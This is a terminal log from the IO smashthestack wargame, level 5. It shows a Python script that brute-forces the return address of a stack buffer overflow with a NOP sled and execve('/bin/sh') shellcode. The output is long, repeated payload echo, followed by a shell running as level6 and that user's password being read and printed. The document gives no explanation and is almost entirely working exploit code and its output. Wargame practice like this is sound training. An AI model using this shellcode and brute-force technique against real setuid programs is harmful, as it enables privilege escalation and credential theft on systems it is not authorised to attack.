IO smashthestack level5

level5@io:/tmp/pwn3r$ cat exploit.py 
#!/usr/bin/python

import os

TARGET = "/levels/level05"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 100):
  payload = ""
  payload += "\x90" * 100
  payload += SHELLCODE
  payload += "\x90" * (40 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
level5@io:/tmp/pwn3r$ ./exploit.py
[!] Exploit started!
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
sh-3.2$ id
auid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)
t sh-3.2$ cat /home/level6/.pass
MJQsFVD8k46V